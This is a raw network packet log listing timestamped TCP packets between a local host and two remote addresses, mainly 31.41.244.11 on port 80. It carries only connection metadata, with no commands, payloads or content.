Nov 18, 2024 23:04:14.860316992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.860332966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.860347986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.860366106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.860387087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.860723019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.860738993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.860753059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.860768080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.860783100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.860783100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.860797882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.860812902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.860825062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.860829115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.860846996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.860848904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.860877037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.860897064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.861221075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.861237049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.861251116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.861265898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.861275911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.861283064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.861298084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.861300945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.861335993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.861366987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.861783028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.861799002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.861813068 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.861828089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.861840963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.861843109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.861859083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.861874104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.861876965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.861890078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.861905098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.861913919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.861920118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.861931086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.861938000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.861954927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.861963034 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.861977100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.861984968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.862027884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.862046957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.862710953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.862725973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.862740040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.862755060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.862771034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.862770081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.862787008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.862792969 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.862802982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.862818003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.862833977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.862843037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.862849951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.862865925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.862879992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.862881899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.862896919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.862900019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.862912893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.862920046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.862927914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.862965107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.863009930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.863671064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.863687038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.863698959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.863713980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.863729000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.863744020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.863744974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.863759041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.863765955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.863775969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.863790989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.863792896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.863809109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.863823891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.863833904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.863837004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.863852978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.863867998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.863873005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.863883972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.863890886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.863913059 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.863931894 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.864540100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.864556074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.864569902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.864584923 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.864599943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.864600897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.864615917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.864618063 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.864676952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.878654003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.878721952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.878762960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.878778934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.878834963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.878834963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.878856897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.878871918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.878885984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.878901005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.878905058 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.878951073 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.878981113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.879071951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.879089117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.879132986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.879163027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.879467010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.879519939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.879528046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.879553080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.879575968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.879596949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.889177084 CET	443	49829	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.889686108 CET	49829	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.889758110 CET	443	49829	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.890315056 CET	49829	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.890328884 CET	443	49829	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.909599066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.909682989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.909717083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.909782887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.909780979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.909781933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.909781933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.909816980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.909851074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.909862995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.909862995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.909885883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.909912109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.909919977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.909951925 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.909977913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.910063028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.910095930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.910129070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.910129070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.910173893 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.910192966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.937802076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.937901974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.937932014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.937985897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.937990904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.937990904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.937990904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.938019991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.938055038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.938072920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.938072920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.938106060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.938118935 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.938141108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.938164949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.938173056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.938191891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.938206911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.938235044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.938241005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.938256979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.938306093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.938438892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.938471079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.938496113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.938504934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.938518047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.938540936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.938565969 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.938585997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.938688040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.938720942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.938736916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.938776970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.938796997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.938886881 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.939032078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.939080954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.939093113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.939114094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.939136028 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.939146042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.939174891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.939181089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.939213991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.939219952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.939240932 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.939248085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.939280033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.939301968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.950196981 CET	443	49830	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.950581074 CET	49830	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.950607061 CET	443	49830	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.950948954 CET	49830	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.950962067 CET	443	49830	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.977962017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.977998018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.978033066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.978142023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.978163004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.978163004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.978163004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.978174925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.978209972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.978238106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.978238106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.978245020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.978264093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.978326082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.978442907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.978476048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.978509903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.978518963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.978518963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.978558064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.978562117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.978596926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.978615999 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.978630066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.978648901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.978662014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.978696108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.978701115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.978724003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.978730917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.978743076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.978790045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.979036093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.979068995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.979099989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.979101896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.979121923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.979154110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.979166985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.979212046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.979424000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.979463100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.979482889 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.979496002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.979509115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.979530096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.979541063 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.979564905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.979578018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.979598999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.979609966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.979631901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.979641914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.979665041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.979677916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.979697943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.979713917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.979731083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.979743958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.979764938 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.979787111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.979799032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.979804993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.979834080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.979845047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.979877949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.980184078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.980216026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.980236053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.980248928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.980268955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.980284929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.980295897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.980326891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.980581999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.980614901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.980639935 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.980648994 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.980662107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.980683088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.980698109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.980716944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.980730057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.980750084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.980762005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.980784893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.980793953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.980817080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.980829000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.980850935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.980863094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.980882883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.980895996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.980917931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.980922937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.980951071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.980962992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.980983973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.980997086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.981026888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.981450081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.981482983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.981509924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.981512070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.981538057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.981547117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.981559992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.981581926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.981595993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.981615067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.981626987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.981657982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.981658936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.981689930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.981709957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.981723070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.981733084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.981755972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.981777906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.981790066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.981797934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.981837034 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.982029915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.982062101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.982086897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.982095003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.982109070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.982126951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.982140064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.982161045 CET	80	49794	31.41.244.11	192.168.2.4
